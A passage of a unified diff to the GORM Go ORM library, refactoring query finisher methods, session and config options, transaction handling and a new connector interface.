if err := tx.Statement.Parse(value); err == nil && tx.Statement.Schema != nil {
|
||||
for _, pf := range tx.Statement.Schema.PrimaryFields {
|
||||
if _, isZero := pf.ValueOf(reflectValue); isZero {
|
||||
tx.callbacks.Create().Execute(tx)
|
||||
return
|
||||
return tx.callbacks.Create().Execute(tx)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -49,11 +97,11 @@ func (db *DB) Save(value interface{}) (tx *DB) {
|
||||
tx.Statement.Selects = append(tx.Statement.Selects, "*")
|
||||
}
|
||||
|
||||
tx.callbacks.Update().Execute(tx)
|
||||
tx = tx.callbacks.Update().Execute(tx)
|
||||
|
||||
if tx.Error == nil && tx.RowsAffected == 0 && !tx.DryRun && !selectedUpdate {
|
||||
result := reflect.New(tx.Statement.Schema.ModelType).Interface()
|
||||
if err := tx.Session(&Session{WithConditions: true}).First(result).Error; errors.Is(err, ErrRecordNotFound) {
|
||||
if err := tx.Session(&Session{}).First(result).Error; errors.Is(err, ErrRecordNotFound) {
|
||||
return tx.Create(value)
|
||||
}
|
||||
}
|
||||
@@ -68,24 +116,26 @@ func (db *DB) First(dest interface{}, conds ...interface{}) (tx *DB) {
|
||||
Column: clause.Column{Table: clause.CurrentTable, Name: clause.PrimaryKey},
|
||||
})
|
||||
if len(conds) > 0 {
|
||||
tx.Statement.AddClause(clause.Where{Exprs: tx.Statement.BuildCondition(conds[0], conds[1:]...)})
|
||||
if exprs := tx.Statement.BuildCondition(conds[0], conds[1:]...); len(exprs) > 0 {
|
||||
tx.Statement.AddClause(clause.Where{Exprs: exprs})
|
||||
}
|
||||
}
|
||||
tx.Statement.RaiseErrorOnNotFound = true
|
||||
tx.Statement.Dest = dest
|
||||
tx.callbacks.Query().Execute(tx)
|
||||
return
|
||||
return tx.callbacks.Query().Execute(tx)
|
||||
}
|
||||
|
||||
// Take return a record that match given conditions, the order will depend on the database implementation
|
||||
func (db *DB) Take(dest interface{}, conds ...interface{}) (tx *DB) {
|
||||
tx = db.Limit(1)
|
||||
if len(conds) > 0 {
|
||||
tx.Statement.AddClause(clause.Where{Exprs: tx.Statement.BuildCondition(conds[0], conds[1:]...)})
|
||||
if exprs := tx.Statement.BuildCondition(conds[0], conds[1:]...); len(exprs) > 0 {
|
||||
tx.Statement.AddClause(clause.Where{Exprs: exprs})
|
||||
}
|
||||
}
|
||||
tx.Statement.RaiseErrorOnNotFound = true
|
||||
tx.Statement.Dest = dest
|
||||
tx.callbacks.Query().Execute(tx)
|
||||
return
|
||||
return tx.callbacks.Query().Execute(tx)
|
||||
}
|
||||
|
||||
// Last find last record that match given conditions, order by primary key
|
||||
@@ -95,47 +145,66 @@ func (db *DB) Last(dest interface{}, conds ...interface{}) (tx *DB) {
|
||||
Desc: true,
|
||||
})
|
||||
if len(conds) > 0 {
|
||||
tx.Statement.AddClause(clause.Where{Exprs: tx.Statement.BuildCondition(conds[0], conds[1:]...)})
|
||||
if exprs := tx.Statement.BuildCondition(conds[0], conds[1:]...); len(exprs) > 0 {
|
||||
tx.Statement.AddClause(clause.Where{Exprs: exprs})
|
||||
}
|
||||
}
|
||||
tx.Statement.RaiseErrorOnNotFound = true
|
||||
tx.Statement.Dest = dest
|
||||
tx.callbacks.Query().Execute(tx)
|
||||
return
|
||||
return tx.callbacks.Query().Execute(tx)
|
||||
}
|
||||
|
||||
// Find find records that match given conditions
|
||||
func (db *DB) Find(dest interface{}, conds ...interface{}) (tx *DB) {
|
||||
tx = db.getInstance()
|
||||
if len(conds) > 0 {
|
||||
tx.Statement.AddClause(clause.Where{Exprs: tx.Statement.BuildCondition(conds[0], conds[1:]...)})
|
||||
if exprs := tx.Statement.BuildCondition(conds[0], conds[1:]...); len(exprs) > 0 {
|
||||
tx.Statement.AddClause(clause.Where{Exprs: exprs})
|
||||
}
|
||||
}
|
||||
tx.Statement.Dest = dest
|
||||
tx.callbacks.Query().Execute(tx)
|
||||
return
|
||||
return tx.callbacks.Query().Execute(tx)
|
||||
}
|
||||
|
||||
// FindInBatches find records in batches
|
||||
func (db *DB) FindInBatches(dest interface{}, batchSize int, fc func(tx *DB, batch int) error) (tx *DB) {
|
||||
tx = db.Session(&Session{WithConditions: true})
|
||||
rowsAffected := int64(0)
|
||||
batch := 0
|
||||
func (db *DB) FindInBatches(dest interface{}, batchSize int, fc func(tx *DB, batch int) error) *DB {
|
||||
var (
|
||||
tx = db.Order(clause.OrderByColumn{
|
||||
Column: clause.Column{Table: clause.CurrentTable, Name: clause.PrimaryKey},
|
||||
}).Session(&Session{})
|
||||
queryDB = tx
|
||||
rowsAffected int64
|
||||
batch int
|
||||
)
|
||||
|
||||
for {
|
||||
result := tx.Limit(batchSize).Offset(batch * batchSize).Find(dest)
|
||||
result := queryDB.Limit(batchSize).Find(dest)
|
||||
rowsAffected += result.RowsAffected
|
||||
batch++
|
||||
|
||||
if result.Error == nil && result.RowsAffected != 0 {
|
||||
tx.AddError(fc(result, batch))
|
||||
} else if result.Error != nil {
|
||||
tx.AddError(result.Error)
|
||||
}
|
||||
|
||||
if tx.Error != nil || int(result.RowsAffected) < batchSize {
|
||||
break
|
||||
}
|
||||
|
||||
// Optimize for-break
|
||||
resultsValue := reflect.Indirect(reflect.ValueOf(dest))
|
||||
if result.Statement.Schema.PrioritizedPrimaryField == nil {
|
||||
tx.AddError(ErrPrimaryKeyRequired)
|
||||
break
|
||||
}
|
||||
|
||||
primaryValue, _ := result.Statement.Schema.PrioritizedPrimaryField.ValueOf(resultsValue.Index(resultsValue.Len() - 1))
|
||||
queryDB = tx.Clauses(clause.Gt{Column: clause.Column{Table: clause.CurrentTable, Name: clause.PrimaryKey}, Value: primaryValue})
|
||||
}
|
||||
|
||||
tx.RowsAffected = rowsAffected
|
||||
return
|
||||
return tx
|
||||
}
|
||||
|
||||
func (tx *DB) assignInterfacesToValue(values ...interface{}) {
|
||||
@@ -159,8 +228,9 @@ func (tx *DB) assignInterfacesToValue(values ...interface{}) {
|
||||
}
|
||||
}
|
||||
case clause.Expression, map[string]string, map[interface{}]interface{}, map[string]interface{}:
|
||||
exprs := tx.Statement.BuildCondition(value)
|
||||
tx.assignInterfacesToValue(exprs)
|
||||
if exprs := tx.Statement.BuildCondition(value); len(exprs) > 0 {
|
||||
tx.assignInterfacesToValue(exprs)
|
||||
}
|
||||
default:
|
||||
if s, err := schema.Parse(value, tx.cacheStore, tx.NamingStrategy); err == nil {
|
||||
reflectValue := reflect.Indirect(reflect.ValueOf(value))
|
||||
@@ -177,8 +247,9 @@ func (tx *DB) assignInterfacesToValue(values ...interface{}) {
|
||||
}
|
||||
}
|
||||
} else if len(values) > 0 {
|
||||
exprs := tx.Statement.BuildCondition(values[0], values[1:]...)
|
||||
tx.assignInterfacesToValue(exprs)
|
||||
if exprs := tx.Statement.BuildCondition(values[0], values[1:]...); len(exprs) > 0 {
|
||||
tx.assignInterfacesToValue(exprs)
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
@@ -186,7 +257,11 @@ func (tx *DB) assignInterfacesToValue(values ...interface{}) {
|
||||
}
|
||||
|
||||
func (db *DB) FirstOrInit(dest interface{}, conds ...interface{}) (tx *DB) {
|
||||
if tx = db.First(dest, conds...); errors.Is(tx.Error, ErrRecordNotFound) {
|
||||
queryTx := db.Limit(1).Order(clause.OrderByColumn{
|
||||
Column: clause.Column{Table: clause.CurrentTable, Name: clause.PrimaryKey},
|
||||
})
|
||||
|
||||
if tx = queryTx.Find(dest, conds...); queryTx.RowsAffected == 0 {
|
||||
if c, ok := tx.Statement.Clauses["WHERE"]; ok {
|
||||
if where, ok := c.Expression.(clause.Where); ok {
|
||||
tx.assignInterfacesToValue(where.Exprs)
|
||||
@@ -197,7 +272,6 @@ func (db *DB) FirstOrInit(dest interface{}, conds ...interface{}) (tx *DB) {
|
||||
if len(tx.Statement.attrs) > 0 {
|
||||
tx.assignInterfacesToValue(tx.Statement.attrs...)
|
||||
}
|
||||
tx.Error = nil
|
||||
}
|
||||
|
||||
// initialize with attrs, conds
|
||||
@@ -208,9 +282,11 @@ func (db *DB) FirstOrInit(dest interface{}, conds ...interface{}) (tx *DB) {
|
||||
}
|
||||
|
||||
func (db *DB) FirstOrCreate(dest interface{}, conds ...interface{}) (tx *DB) {
|
||||
if tx = db.First(dest, conds...); errors.Is(tx.Error, ErrRecordNotFound) {
|
||||
tx.Error = nil
|
||||
queryTx := db.Limit(1).Order(clause.OrderByColumn{
|
||||
Column: clause.Column{Table: clause.CurrentTable, Name: clause.PrimaryKey},
|
||||
})
|
||||
|
||||
if tx = queryTx.Find(dest, conds...); queryTx.RowsAffected == 0 {
|
||||
if c, ok := tx.Statement.Clauses["WHERE"]; ok {
|
||||
if where, ok := c.Expression.(clause.Where); ok {
|
||||
tx.assignInterfacesToValue(where.Exprs)
|
||||
@@ -229,7 +305,7 @@ func (db *DB) FirstOrCreate(dest interface{}, conds ...interface{}) (tx *DB) {
|
||||
|
||||
return tx.Create(dest)
|
||||
} else if len(db.Statement.assigns) > 0 {
|
||||
exprs := tx.Statement.BuildCondition(tx.Statement.assigns[0], tx.Statement.assigns[1:]...)
|
||||
exprs := tx.Statement.BuildCondition(db.Statement.assigns[0], db.Statement.assigns[1:]...)
|
||||
assigns := map[string]interface{}{}
|
||||
for _, expr := range exprs {
|
||||
if eq, ok := expr.(clause.Eq); ok {
|
||||
@@ -253,43 +329,40 @@ func (db *DB) FirstOrCreate(dest interface{}, conds ...interface{}) (tx *DB) {
|
||||
func (db *DB) Update(column string, value interface{}) (tx *DB) {
|
||||
tx = db.getInstance()
|
||||
tx.Statement.Dest = map[string]interface{}{column: value}
|
||||
tx.callbacks.Update().Execute(tx)
|
||||
return
|
||||
return tx.callbacks.Update().Execute(tx)
|
||||
}
|
||||
|
||||
// Updates update attributes with callbacks, refer: https://gorm.io/docs/update.html#Update-Changed-Fields
|
||||
func (db *DB) Updates(values interface{}) (tx *DB) {
|
||||
tx = db.getInstance()
|
||||
tx.Statement.Dest = values
|
||||
tx.callbacks.Update().Execute(tx)
|
||||
return
|
||||
return tx.callbacks.Update().Execute(tx)
|
||||
}
|
||||
|
||||
func (db *DB) UpdateColumn(column string, value interface{}) (tx *DB) {
|
||||
tx = db.getInstance()
|
||||
tx.Statement.Dest = map[string]interface{}{column: value}
|
||||
tx.Statement.UpdatingColumn = true
|
||||
tx.callbacks.Update().Execute(tx)
|
||||
return
|
||||
tx.Statement.SkipHooks = true
|
||||
return tx.callbacks.Update().Execute(tx)
|
||||
}
|
||||
|
||||
func (db *DB) UpdateColumns(values interface{}) (tx *DB) {
|
||||
tx = db.getInstance()
|
||||
tx.Statement.Dest = values
|
||||
tx.Statement.UpdatingColumn = true
|
||||
tx.callbacks.Update().Execute(tx)
|
||||
return
|
||||
tx.Statement.SkipHooks = true
|
||||
return tx.callbacks.Update().Execute(tx)
|
||||
}
|
||||
|
||||
// Delete delete value match given conditions, if the value has primary key, then will including the primary key as condition
|
||||
func (db *DB) Delete(value interface{}, conds ...interface{}) (tx *DB) {
|
||||
tx = db.getInstance()
|
||||
if len(conds) > 0 {
|
||||
tx.Statement.AddClause(clause.Where{Exprs: tx.Statement.BuildCondition(conds[0], conds[1:]...)})
|
||||
if exprs := tx.Statement.BuildCondition(conds[0], conds[1:]...); len(exprs) > 0 {
|
||||
tx.Statement.AddClause(clause.Where{Exprs: exprs})
|
||||
}
|
||||
}
|
||||
tx.Statement.Dest = value
|
||||
tx.callbacks.Delete().Execute(tx)
|
||||
return
|
||||
return tx.callbacks.Delete().Execute(tx)
|
||||
}
|
||||
|
||||
func (db *DB) Count(count *int64) (tx *DB) {
|
||||
@@ -301,42 +374,51 @@ func (db *DB) Count(count *int64) (tx *DB) {
|
||||
}()
|
||||
}
|
||||
|
||||
if len(tx.Statement.Selects) == 0 {
|
||||
tx.Statement.AddClause(clause.Select{Expression: clause.Expr{SQL: "count(1)"}})
|
||||
if selectClause, ok := db.Statement.Clauses["SELECT"]; ok {
|
||||
defer func() {
|
||||
tx.Statement.Clauses["SELECT"] = selectClause
|
||||
}()
|
||||
} else {
|
||||
defer delete(tx.Statement.Clauses, "SELECT")
|
||||
} else if !strings.Contains(strings.ToLower(tx.Statement.Selects[0]), "count(") {
|
||||
expr := clause.Expr{SQL: "count(1)"}
|
||||
}
|
||||
|
||||
if len(tx.Statement.Selects) == 0 {
|
||||
tx.Statement.AddClause(clause.Select{Expression: clause.Expr{SQL: "count(*)"}})
|
||||
} else if !strings.HasPrefix(strings.TrimSpace(strings.ToLower(tx.Statement.Selects[0])), "count(") {
|
||||
expr := clause.Expr{SQL: "count(*)"}
|
||||
|
||||
if len(tx.Statement.Selects) == 1 {
|
||||
dbName := tx.Statement.Selects[0]
|
||||
if tx.Statement.Parse(tx.Statement.Model) == nil {
|
||||
if f := tx.Statement.Schema.LookUpField(dbName); f != nil {
|
||||
dbName = f.DBName
|
||||
fields := strings.FieldsFunc(dbName, utils.IsValidDBNameChar)
|
||||
if len(fields) == 1 || (len(fields) == 3 && (strings.ToUpper(fields[1]) == "AS" || fields[1] == ".")) {
|
||||
if tx.Statement.Parse(tx.Statement.Model) == nil {
|
||||
if f := tx.Statement.Schema.LookUpField(dbName); f != nil {
|
||||
dbName = f.DBName
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if tx.Statement.Distinct {
|
||||
expr = clause.Expr{SQL: "COUNT(DISTINCT(?))", Vars: []interface{}{clause.Column{Name: dbName}}}
|
||||
} else {
|
||||
expr = clause.Expr{SQL: "COUNT(?)", Vars: []interface{}{clause.Column{Name: dbName}}}
|
||||
if tx.Statement.Distinct {
|
||||
expr = clause.Expr{SQL: "COUNT(DISTINCT(?))", Vars: []interface{}{clause.Column{Name: dbName}}}
|
||||
} else {
|
||||
expr = clause.Expr{SQL: "COUNT(?)", Vars: []interface{}{clause.Column{Name: dbName}}}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
tx.Statement.AddClause(clause.Select{Expression: expr})
|
||||
defer tx.Statement.AddClause(clause.Select{})
|
||||
}
|
||||
|
||||
if orderByClause, ok := db.Statement.Clauses["ORDER BY"]; ok {
|
||||
if _, ok := db.Statement.Clauses["GROUP BY"]; !ok {
|
||||
delete(db.Statement.Clauses, "ORDER BY")
|
||||
delete(tx.Statement.Clauses, "ORDER BY")
|
||||
defer func() {
|
||||
db.Statement.Clauses["ORDER BY"] = orderByClause
|
||||
tx.Statement.Clauses["ORDER BY"] = orderByClause
|
||||
}()
|
||||
}
|
||||
}
|
||||
|
||||
tx.Statement.Dest = count
|
||||
tx.callbacks.Query().Execute(tx)
|
||||
tx = tx.callbacks.Query().Execute(tx)
|
||||
if tx.RowsAffected != 1 {
|
||||
*count = tx.RowsAffected
|
||||
}
|
||||
@@ -344,8 +426,8 @@ func (db *DB) Count(count *int64) (tx *DB) {
|
||||
}
|
||||
|
||||
func (db *DB) Row() *sql.Row {
|
||||
tx := db.getInstance().InstanceSet("rows", false)
|
||||
tx.callbacks.Row().Execute(tx)
|
||||
tx := db.getInstance().Set("rows", false)
|
||||
tx = tx.callbacks.Row().Execute(tx)
|
||||
row, ok := tx.Statement.Dest.(*sql.Row)
|
||||
if !ok && tx.DryRun {
|
||||
db.Logger.Error(tx.Statement.Context, ErrDryRunModeUnsupported.Error())
|
||||
@@ -354,8 +436,8 @@ func (db *DB) Row() *sql.Row {
|
||||
}
|
||||
|
||||
func (db *DB) Rows() (*sql.Rows, error) {
|
||||
tx := db.getInstance().InstanceSet("rows", true)
|
||||
tx.callbacks.Row().Execute(tx)
|
||||
tx := db.getInstance().Set("rows", true)
|
||||
tx = tx.callbacks.Row().Execute(tx)
|
||||
rows, ok := tx.Statement.Dest.(*sql.Rows)
|
||||
if !ok && tx.DryRun && tx.Error == nil {
|
||||
tx.Error = ErrDryRunModeUnsupported
|
||||
@@ -378,6 +460,8 @@ func (db *DB) Scan(dest interface{}) (tx *DB) {
|
||||
defer rows.Close()
|
||||
if rows.Next() {
|
||||
tx.ScanRows(rows, dest)
|
||||
} else {
|
||||
tx.RowsAffected = 0
|
||||
}
|
||||
}
|
||||
|
||||
@@ -390,7 +474,7 @@ func (db *DB) Scan(dest interface{}) (tx *DB) {
|
||||
|
||||
// Pluck used to query single column from a model as a map
|
||||
// var ages []int64
|
||||
// db.Find(&users).Pluck("age", &ages)
|
||||
// db.Model(&users).Pluck("age", &ages)
|
||||
func (db *DB) Pluck(column string, dest interface{}) (tx *DB) {
|
||||
tx = db.getInstance()
|
||||
if tx.Statement.Model != nil {
|
||||
@@ -403,14 +487,15 @@ func (db *DB) Pluck(column string, dest interface{}) (tx *DB) {
|
||||
tx.AddError(ErrModelValueRequired)
|
||||
}
|
||||
|
||||
fields := strings.FieldsFunc(column, utils.IsValidDBNameChar)
|
||||
tx.Statement.AddClauseIfNotExists(clause.Select{
|
||||
Distinct: tx.Statement.Distinct,
|
||||
Columns: []clause.Column{{Name: column, Raw: len(fields) != 1}},
|
||||
})
|
||||
if len(tx.Statement.Selects) != 1 {
|
||||
fields := strings.FieldsFunc(column, utils.IsValidDBNameChar)
|
||||
tx.Statement.AddClauseIfNotExists(clause.Select{
|
||||
Distinct: tx.Statement.Distinct,
|
||||
Columns: []clause.Column{{Name: column, Raw: len(fields) != 1}},
|
||||
})
|
||||
}
|
||||
tx.Statement.Dest = dest
|
||||
tx.callbacks.Query().Execute(tx)
|
||||
return
|
||||
return tx.callbacks.Query().Execute(tx)
|
||||
}
|
||||
|
||||
func (db *DB) ScanRows(rows *sql.Rows, dest interface{}) error {
|
||||
@@ -433,15 +518,19 @@ func (db *DB) Transaction(fc func(tx *DB) error, opts ...*sql.TxOptions) (err er
|
||||
|
||||
if committer, ok := db.Statement.ConnPool.(TxCommitter); ok && committer != nil {
|
||||
// nested transaction
|
||||
db.SavePoint(fmt.Sprintf("sp%p", fc))
|
||||
defer func() {
|
||||
// Make sure to rollback when panic, Block error or Commit error
|
||||
if panicked || err != nil {
|
||||
db.RollbackTo(fmt.Sprintf("sp%p", fc))
|
||||
}
|
||||
}()
|
||||
if !db.DisableNestedTransaction {
|
||||
err = db.SavePoint(fmt.Sprintf("sp%p", fc)).Error
|
||||
defer func() {
|
||||
// Make sure to rollback when panic, Block error or Commit error
|
||||
if panicked || err != nil {
|
||||
db.RollbackTo(fmt.Sprintf("sp%p", fc))
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
err = fc(db.Session(&Session{WithConditions: true}))
|
||||
if err == nil {
|
||||
err = fc(db.Session(&Session{}))
|
||||
}
|
||||
} else {
|
||||
tx := db.Begin(opts...)
|
||||
|
||||
@@ -452,7 +541,9 @@ func (db *DB) Transaction(fc func(tx *DB) error, opts ...*sql.TxOptions) (err er
|
||||
}
|
||||
}()
|
||||
|
||||
err = fc(tx)
|
||||
if err = tx.Error; err == nil {
|
||||
err = fc(tx)
|
||||
}
|
||||
|
||||
if err == nil {
|
||||
err = tx.Commit().Error
|
||||
@@ -467,7 +558,7 @@ func (db *DB) Transaction(fc func(tx *DB) error, opts ...*sql.TxOptions) (err er
|
||||
func (db *DB) Begin(opts ...*sql.TxOptions) *DB {
|
||||
var (
|
||||
// clone statement
|
||||
tx = db.Session(&Session{WithConditions: true, Context: db.Statement.Context})
|
||||
tx = db.getInstance().Session(&Session{Context: db.Statement.Context})
|
||||
opt *sql.TxOptions
|
||||
err error
|
||||
)
|
||||
@@ -542,6 +633,5 @@ func (db *DB) Exec(sql string, values ...interface{}) (tx *DB) {
|
||||
clause.Expr{SQL: sql, Vars: values}.Build(tx.Statement)
|
||||
}
|
||||
|
||||
tx.callbacks.Raw().Execute(tx)
|
||||
return
|
||||
return tx.callbacks.Raw().Execute(tx)
|
||||
}
|
||||
+112
-36
@@ -3,8 +3,8 @@ package gorm
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"errors"
|
||||
"fmt"
|
||||
"sort"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
@@ -13,6 +13,9 @@ import (
|
||||
"gorm.io/gorm/schema"
|
||||
)
|
||||
|
||||
// for Config.cacheStore store PreparedStmtDB key
|
||||
const preparedStmtDBKey = "preparedStmt"
|
||||
|
||||
// Config GORM config
|
||||
type Config struct {
|
||||
// GORM perform single create, update, delete operations in transactions by default to ensure database data integrity
|
||||
@@ -34,8 +37,14 @@ type Config struct {
|
||||
DisableAutomaticPing bool
|
||||
// DisableForeignKeyConstraintWhenMigrating
|
||||
DisableForeignKeyConstraintWhenMigrating bool
|
||||
// DisableNestedTransaction disable nested transaction
|
||||
DisableNestedTransaction bool
|
||||
// AllowGlobalUpdate allow global update
|
||||
AllowGlobalUpdate bool
|
||||
// QueryFields executes the SQL query with all fields of the table
|
||||
QueryFields bool
|
||||
// CreateBatchSize default create batch size
|
||||
CreateBatchSize int
|
||||
|
||||
// ClauseBuilders clause builder
|
||||
ClauseBuilders map[string]clause.ClauseBuilder
|
||||
@@ -50,6 +59,29 @@ type Config struct {
|
||||
cacheStore *sync.Map
|
||||
}
|
||||
|
||||
func (c *Config) Apply(config *Config) error {
|
||||
if config != c {
|
||||
*config = *c
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *Config) AfterInitialize(db *DB) error {
|
||||
if db != nil {
|
||||
for _, plugin := range c.Plugins {
|
||||
if err := plugin.Initialize(db); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type Option interface {
|
||||
Apply(*Config) error
|
||||
AfterInitialize(*DB) error
|
||||
}
|
||||
|
||||
// DB GORM DB definition
|
||||
type DB struct {
|
||||
*Config
|
||||
@@ -61,21 +93,48 @@ type DB struct {
|
||||
|
||||
// Session session config when create session with Session() method
|
||||
type Session struct {
|
||||
DryRun bool
|
||||
PrepareStmt bool
|
||||
WithConditions bool
|
||||
SkipDefaultTransaction bool
|
||||
AllowGlobalUpdate bool
|
||||
FullSaveAssociations bool
|
||||
Context context.Context
|
||||
Logger logger.Interface
|
||||
NowFunc func() time.Time
|
||||
DryRun bool
|
||||
PrepareStmt bool
|
||||
NewDB bool
|
||||
SkipHooks bool
|
||||
SkipDefaultTransaction bool
|
||||
DisableNestedTransaction bool
|
||||
AllowGlobalUpdate bool
|
||||
FullSaveAssociations bool
|
||||
QueryFields bool
|
||||
Context context.Context
|
||||
Logger logger.Interface
|
||||
NowFunc func() time.Time
|
||||
CreateBatchSize int
|
||||
}
|
||||
|
||||
// Open initialize db session based on dialector
|
||||
func Open(dialector Dialector, config *Config) (db *DB, err error) {
|
||||
if config == nil {
|
||||
config = &Config{}
|
||||
func Open(dialector Dialector, opts ...Option) (db *DB, err error) {
|
||||
config := &Config{}
|
||||
|
||||
sort.Slice(opts, func(i, j int) bool {
|
||||
_, isConfig := opts[i].(*Config)
|
||||
_, isConfig2 := opts[j].(*Config)
|
||||
return isConfig && !isConfig2
|
||||
})
|
||||
|
||||
for _, opt := range opts {
|
||||
if opt != nil {
|
||||
if err := opt.Apply(config); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer func(opt Option) {
|
||||
if errr := opt.AfterInitialize(db); errr != nil {
|
||||
err = errr
|
||||
}
|
||||
}(opt)
|
||||
}
|
||||
}
|
||||
|
||||
if d, ok := dialector.(interface{ Apply(*Config) error }); ok {
|
||||
if err = d.Apply(config); err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if config.NamingStrategy == nil {
|
||||
@@ -116,11 +175,11 @@ func Open(dialector Dialector, config *Config) (db *DB, err error) {
|
||||
|
||||
preparedStmt := &PreparedStmtDB{
|
||||
ConnPool: db.ConnPool,
|
||||
Stmts: map[string]*sql.Stmt{},
|
||||
Stmts: map[string]Stmt{},
|
||||
Mux: &sync.RWMutex{},
|
||||
PreparedSQL: make([]string, 0, 100),
|
||||
}
|
||||
db.cacheStore.Store("preparedStmt", preparedStmt)
|
||||
db.cacheStore.Store(preparedStmtDBKey, preparedStmt)
|
||||
|
||||
if config.PrepareStmt {
|
||||
db.ConnPool = preparedStmt
|
||||
@@ -153,9 +212,13 @@ func (db *DB) Session(config *Session) *DB {
|
||||
tx = &DB{
|
||||
Config: &txConfig,
|
||||
Statement: db.Statement,
|
||||
Error: db.Error,
|
||||
clone: 1,
|
||||
}
|
||||
)
|
||||
if config.CreateBatchSize > 0 {
|
||||
tx.Config.CreateBatchSize = config.CreateBatchSize
|
||||
}
|
||||
|
||||
if config.SkipDefaultTransaction {
|
||||
tx.Config.SkipDefaultTransaction = true
|
||||
@@ -169,15 +232,17 @@ func (db *DB) Session(config *Session) *DB {
|
||||
txConfig.FullSaveAssociations = true
|
||||
}
|
||||
|
||||
if config.Context != nil {
|
||||
if config.Context != nil || config.PrepareStmt || config.SkipHooks {
|
||||
tx.Statement = tx.Statement.clone()
|
||||
tx.Statement.DB = tx
|
||||
}
|
||||
|
||||
if config.Context != nil {
|
||||
tx.Statement.Context = config.Context
|
||||
}
|
||||
|
||||
if config.PrepareStmt {
|
||||
if v, ok := db.cacheStore.Load("preparedStmt"); ok {
|
||||
tx.Statement = tx.Statement.clone()
|
||||
if v, ok := db.cacheStore.Load(preparedStmtDBKey); ok {
|
||||
preparedStmt := v.(*PreparedStmtDB)
|
||||
tx.Statement.ConnPool = &PreparedStmtDB{
|
||||
ConnPool: db.Config.ConnPool,
|
||||
@@ -189,7 +254,15 @@ func (db *DB) Session(config *Session) *DB {
|
||||
}
|
||||
}
|
||||
|
||||
if config.WithConditions {
|
||||
if config.SkipHooks {
|
||||
tx.Statement.SkipHooks = true
|
||||
}
|
||||
|
||||
if config.DisableNestedTransaction {
|
||||
txConfig.DisableNestedTransaction = true
|
||||
}
|
||||
|
||||
if !config.NewDB {
|
||||
tx.clone = 2
|
||||
}
|
||||
|
||||
@@ -197,6 +270,10 @@ func (db *DB) Session(config *Session) *DB {
|
||||
tx.Config.DryRun = true
|
||||
}
|
||||
|
||||
if config.QueryFields {
|
||||
tx.Config.QueryFields = true
|
||||
}
|
||||
|
||||
if config.Logger != nil {
|
||||
tx.Config.Logger = config.Logger
|
||||
}
|
||||
@@ -210,14 +287,13 @@ func (db *DB) Session(config *Session) *DB {
|
||||
|
||||
// WithContext change current instance db's context to ctx
|
||||
func (db *DB) WithContext(ctx context.Context) *DB {
|
||||
return db.Session(&Session{WithConditions: true, Context: ctx})
|
||||
return db.Session(&Session{Context: ctx})
|
||||
}
|
||||
|
||||
// Debug start debug mode
|
||||
func (db *DB) Debug() (tx *DB) {
|
||||
return db.Session(&Session{
|
||||
WithConditions: true,
|
||||
Logger: db.Logger.LogMode(logger.Info),
|
||||
Logger: db.Logger.LogMode(logger.Info),
|
||||
})
|
||||
}
|
||||
|
||||
@@ -264,20 +340,20 @@ func (db *DB) AddError(err error) error {
|
||||
func (db *DB) DB() (*sql.DB, error) {
|
||||
connPool := db.ConnPool
|
||||
|
||||
if stmtDB, ok := connPool.(*PreparedStmtDB); ok {
|
||||
connPool = stmtDB.ConnPool
|
||||
if dbConnector, ok := connPool.(GetDBConnector); ok && dbConnector != nil {
|
||||
return dbConnector.GetDBConn()
|
||||
}
|
||||
|
||||
if sqldb, ok := connPool.(*sql.DB); ok {
|
||||
return sqldb, nil
|
||||
}
|
||||
|
||||
return nil, errors.New("invalid db")
|
||||
return nil, ErrInvalidDB
|
||||
}
|
||||
|
||||
func (db *DB) getInstance() *DB {
|
||||
if db.clone > 0 {
|
||||
tx := &DB{Config: db.Config}
|
||||
tx := &DB{Config: db.Config, Error: db.Error}
|
||||
|
||||
if db.clone == 1 {
|
||||
// clone with new statement
|
||||
@@ -286,6 +362,7 @@ func (db *DB) getInstance() *DB {
|
||||
ConnPool: db.Statement.ConnPool,
|
||||
Context: db.Statement.Context,
|
||||
Clauses: map[string]clause.Clause{},
|
||||
Vars: make([]interface{}, 0, 8),
|
||||
}
|
||||
} else {
|
||||
// with clone statement
|
||||
@@ -332,7 +409,7 @@ func (db *DB) SetupJoinTable(model interface{}, field string, joinTable interfac
|
||||
}
|
||||
ref.ForeignKey = f
|
||||
} else {
|
||||
return fmt.Errorf("missing field %v for join table", ref.ForeignKey.DBName)
|
||||
return fmt.Errorf("missing field %s for join table", ref.ForeignKey.DBName)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -345,21 +422,20 @@ func (db *DB) SetupJoinTable(model interface{}, field string, joinTable interfac
|
||||
|
||||
relation.JoinTable = joinSchema
|
||||
} else {
|
||||
return fmt.Errorf("failed to found relation: %v", field)
|
||||
return fmt.Errorf("failed to found relation: %s", field)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (db *DB) Use(plugin Plugin) (err error) {
|
||||
func (db *DB) Use(plugin Plugin) error {
|
||||
name := plugin.Name()
|
||||
if _, ok := db.Plugins[name]; !ok {
|
||||
if err = plugin.Initialize(db); err == nil {
|
||||
db.Plugins[name] = plugin
|
||||
}
|
||||
} else {
|
||||
if _, ok := db.Plugins[name]; ok {
|
||||
return ErrRegistered
|
||||
}
|
||||
|
||||
return err
|
||||
if err := plugin.Initialize(db); err != nil {
|
||||
return err
|
||||
}
|
||||
db.Plugins[name] = plugin
|
||||
return nil
|
||||
}
|
||||
+4
@@ -57,3 +57,7 @@ type TxCommitter interface {
|
||||
type Valuer interface {
|
||||
GormValue(context.Context, *DB) clause.Expr
|
||||
}
|
||||
|
||||
type GetDBConnector interface {
|
||||
GetDBConn() (*sql.DB, error)
|
||||
}
|
||||
+40
-32
@@ -2,6 +2,7 @@ package logger
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
@@ -11,6 +12,8 @@ import (
|
||||
"gorm.io/gorm/utils"
|
||||
)
|
||||
|
||||
